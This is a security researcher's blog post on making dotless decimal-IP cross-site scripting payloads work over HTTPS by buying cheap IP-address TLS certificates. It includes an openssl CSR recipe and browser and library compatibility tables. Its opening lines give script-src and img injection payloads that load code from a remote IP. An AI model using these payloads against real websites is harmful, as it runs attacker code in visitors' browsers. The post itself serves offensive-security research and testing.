In Search of Better Dotless Payloads

If you're like me, you find payloads with relative protocols and decimal IP addresses downright sexy! Not only do they frequently slip past input filters, they just look slick!

<script/src=//16843009></script>
<img src=//16843009>

In case you're unfamiliar with the decimal IP address, it's an alternate way to display an IPv4 address, which is traditionally displayed in "dotted format" (the address above is equivalent to 1.1.1.1). There are plenty of online tools that will help you create a decimal IP address.

The Problems

There's just a few problems with actually using these payloads. Problem #1, using the relative protocol (//) will cause these payloads to break when injected into SSL/TLS pages unless you have a valid certificate assigned to that IP address. Which brings us to problem #2, getting an SSL certificate for an IP address typically requires EV/OV confirmation of ownership (which for IP addresses means your contact info being on the ARIN record for that IP block). And all that extra verification means the certificates cost more than usual (about $150-$350/yr).

Since the great folks at LetsEncrypt don't yet issue certs for IP addresses, my quest began for an inexpensive, Domain Validated (DV), IP address compatible, Certificate Authority...

The Search

Using a Censys query, I was able to search for known websites that had valid certificates issued to their IP addresses. A report based on this search allowed me to quickly identify a fairly exhaustive list of possible vendors. Looking through the less popular (yet equally valid) CA's and checking their prices turned up a few vendors that met my criteria. These two were the cheapest I found.

Price (USD) Vendor CA SAN Entries
$6.50 HostPro.ua Certum (Poland) one
$15 CrazySSL.com TrustWave (China) three

The Browser Issues

You might think that requesting a certificate for an IP address, would be just as simple as requesting one for a domain. It isn't. While domain names are expected to be placed in a single location within a certificate, an IP address, (depending upon the client) is expected to be in one of three places. Some browsers want the IP address in the certificates Subject (e.g. CN=1.1.1.1) others expect it in the SAN (e.g. IP:1.1.1.1) and apparently some old implementations expect it in the SAN as a dNSName (e.g. DNS:1.1.1.1). So to cover all scenarios, I chose to request it in all the places. A CSR with the IP address in all three locations can be created with the following openssl command:

openssl req -new -newkey rsa:2048 -sha256 -nodes -out 1.1.1.1.ip.csr -keyout 1.1.1.1.key -config <(
cat <<-EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
req_extensions = req_ext
distinguished_name = dn

[ dn ]
C=US
ST=California
L=Eureka
O=Acme Pen Testing
CN=1.1.1.1

[ req_ext ]
subjectAltName=@alt_names

[ alt_names ]
IP.1=1.1.1.1
DNS.1=1.1.1.1
EOF
)

With a CSR like that I was issued a cert with the IP address in the CN field and a SAN entry of IP=1.1.1.1. I'm not sure if the SAN entry for DNS=1.1.1.1 is no longer allowed or was removed due to limitations on SAN entries in the certificate I purchased. Regardless, the cert I received works fine in the latest versions of the following browsers:

O/S IE Chrome Firefox Safari
Win 7 yes yes yes* n/a
Win 10 yes yes yes* n/a
Mac OS n/a yes yes* yes
iOS n/a yes yes yes
Android n/a yes yes n/a

*Firefox initially complained that the certificate was issued from an untrusted authority. However this was fixed by concatenating the intermediate certificate (provided with the cert) and the public cert. You can do that with cat intermediate.cer >> public.cer

Known Limitations

While all the mainstream browsers appear happy with the certificate, some http libraries complain about the certificate common name 1.1.1.1 not matching the requested host name 16843009.

The following is a table of how some popular technologies react:

Library Response
C#/.Net ???
curl works
java works
PowerShell works
php Peer certificate CN='1.1.1.1' did not match expected CN='16843009'
python2 (lxss) hostname '16843009' doesn't match u'1.1.1.1'
python3 hostname '16843009' doesn't match '1.1.1.1'
wget ERROR: no certificate subject alternative name matches requested host name ‘16843009’
node Doesn't natively resolve dotless IP addresses
python2 (win) Doesn't natively resolve dotless IP addresses
go Doesn't natively resolve dotless IP addresses

Further Research

In an effort to Get this working with PHP, Python, and wget, I'll try getting a certificate created with an additional SAN entry of IP:16843009.

(Update 30-Jan-2020 - SAN entries have so far been rejected when not in dotted quad format)

Check my feed at @nbk_2000 to see how this research unfolds. Also, if you have and info or feedback on dotless IP support in other languages, or resolving the errors above, send me a tweet.